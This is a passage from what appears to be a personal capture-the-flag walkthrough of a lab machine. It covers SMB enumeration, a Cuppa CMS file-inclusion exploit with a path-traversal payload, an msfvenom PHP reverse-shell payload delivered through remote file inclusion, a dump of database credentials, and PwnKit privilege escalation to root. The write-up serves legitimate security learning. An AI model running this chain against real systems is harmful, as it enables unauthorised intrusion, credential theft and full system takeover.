    fr--r--r--            25119 Tue Sep 17 03:01:29 2019    3.03 Reinforcement Learning.md
    fr--r--r--            81655 Tue Sep 17 03:01:29 2019    1.08 Probabilistic Graphical Models.md
    fr--r--r--            39554 Tue Sep 17 03:01:29 2019    1.06 Bayesian Statistics.md
    fr--r--r--               20 Tue Sep 17 03:01:29 2019    6.00 Appendices.md
    fr--r--r--             7627 Tue Sep 17 03:01:29 2019    1.01 Functions.md
    fr--r--r--           144726 Tue Sep 17 03:01:29 2019    2.03 Neural Nets.md
    fr--r--r--            33383 Tue Sep 17 03:01:29 2019    2.04 Model Selection.md
    fr--r--r--            94287 Tue Sep 17 03:01:29 2019    2.02 Supervised Learning.md
    fr--r--r--               20 Tue Sep 17 03:01:29 2019    4.00 Simulation.md
    fr--r--r--             1123 Tue Sep 17 03:01:29 2019    3.05 In Practice.md
    fr--r--r--             5110 Tue Sep 17 03:01:29 2019    1.07 Graphs.md
    fr--r--r--            21579 Tue Sep 17 03:01:29 2019    2.07 Unsupervised Learning.md
    fr--r--r--            39443 Tue Sep 17 03:01:29 2019    2.05 Bayesian Learning.md
    fr--r--r--             2516 Tue Sep 17 03:01:29 2019    5.03 Anonymization.md
    fr--r--r--             5788 Tue Sep 17 03:01:29 2019    5.01 Process.md
    fr--r--r--            25823 Tue Sep 17 03:01:29 2019    1.09 Optimization.md
    fr--r--r--            64291 Tue Sep 17 03:01:29 2019    1.05 Statistics.md
    fr--r--r--              940 Tue Sep 17 03:01:29 2019    5.02 Visualization.md
    fr--r--r--               21 Tue Sep 17 03:01:29 2019    5.00 In Practice.md
    fr--r--r--            44601 Tue Sep 17 03:01:29 2019    4.02 Nonlinear Dynamics.md
    fr--r--r--            28790 Tue Sep 17 03:01:29 2019    1.10 Algorithms.md
    fr--r--r--            13360 Tue Sep 17 03:01:29 2019    3.04 Filtering.md
    fr--r--r--               22 Tue Sep 17 03:01:29 2019    1.00 Foundations.md

Once again a file, in this case important.txt stands out. To download it we can use the following command:

smbmap -H 10.X.X.X -u "milesdyson" -p ')s{A&2Z=[truncated]' --download 'milesdyson/notes/important.txt'

Then, we see its contents:

1. Add features to beta CMS /45kra[truncated]
2. Work on T-800 Model 101 blueprints
3. Spend more time with my wife

With that we now found the hidden directory, which mentions a "beta CMS" is there.

3rd Question

This is probably just a spoiler on the vuln we'll exploit: remote file inclusion.

4th Question

Ok, so let's see... the hidden directory just has a simple page that seems to have no logic on it. Going back to SquirrelMail my first idea was to check out the strange emails from before, the binary from before can't get converted by CyberChef, and the random text seems to have no meaning so I marked them as red herrings.

After a bunch of research I found nothing on SquirrelMail, so I decided to pivot to the "beta CMS" mentioned before. I threw dirsearch at it and managed to find an /administrator/ throwing 200 status codes.

Inside we got a new attack surface as this CMS is Cuppa CMS, right now we just have the login form.

I originally tried a bunch of creds but got nothing, so after quite a long time at attempting brute force I went for searching remote file inclusion and see if they didn't depend on being authenticated.

The only exploit against CuppaCMS in ExploitDB offered just what we needed: Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion - PHP webapps Exploit

This looks promising so I tried out, first of all the equivalent of /cuppa for our target would actually be /45kra24zxs28v3yd/administrator/, then we get the path /45kra24zxs28v3yd/administrator/alerts/alertConfigField.php. Finally we attempt some payloads (?urlConfig=../../../../../../../../../etc/passwd), the whole thing would look like: /45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd.

So I go to the browser's URL tab, put that in and...

YES! We have LFI, and potentially RFI too! So I immediately prepared a payload, in my case I preferred using msfvenom to make a meterpreter payload to start immediately with a decent shell:

msfvenom -p php/meterpreter/reverse_tcp LHOST=10.X.X.X LPORT=4444 -f raw > shell.txt

Then do the usual setup on msfconsole to receive the shell, and finally through a Python HTTP server you can run the payload:

http://10.X.X.X/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.X.X.X:8080/shell.txt

Finally, we can do some stuff such as getting the login credentials:

<?php 
    class Configuration{
        public $host = "localhost";
        public $db = "cuppa";
        public $user = "root";
        public $password = "password123";
        public $table_prefix = "cu_";
        public $administrator_template = "default";
        public $list_limit = 25;
        public $token = "OBqIPqlFWf3X";
        public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
        public $upload_default_path = "media/uploadsFiles";
        public $maximum_file_size = "5242880";
        public $secure_login = 0;
        public $secure_login_value = "";
        public $secure_login_redirect = "";
    } 
?>

Though now we know they weren't needed, as we can continue traversing the filesystem until finding the user.txt file on /home/milesdyson:

7ce[truncated]

5th Question

Finally, we are on the last step! Seems we are going to need some privilege escalation. I decided to start a normal shell and do some initial recon. The classics such as whoami and looking for SUID stuff, maybe pkexec?

I quickly got lots of ideas on possibilities, but to not loss time on rabbit holes I decided to take a look at the hint which said: "A recursive call"...

Pretty sure this references either two things. Maybe PwnKit because the classic PwnKit vuln involves pkexec calling itself recursively exploiting how it parses arguments and environment variables.

Or... it could also be cron jobs.

Either way, the one that could be easiest to exploit and that by running pkexec --version seems like it should work is PwnKit.

In case they were needed even gcc and make are installed, though precompiled binaries should be more than enough. So through meterpreter I sent the binary to /tmp/exploit. Afterwards just chmod and run it and see how whoami now says root.

FINALLY! Just go and cat /root/root.txt:

3f0[truncated]

Conclusion

Overall this was a really fun CTF, it used quite a bunch of vulns, I also checked out the official walkthrough to compare. Apparently "A recursive call" referred to exploiting a bunch of cron jobs with weak permission, but PwnKit did the same but better anyways and was what seemed the easiest to exploit.

Another nice thing is that it covered quite a bunch of areas: SMB enumeration, dictionary attacks with hydra, directory enumeration, and a bunch of searches at ExploitDB.

Hopefully unlike others this walkthrough doesn't just show you the process to solve this CTF, but also the thinking I had.

Remember you can drop me a DM on Discord for suggestions!
See you next time! :D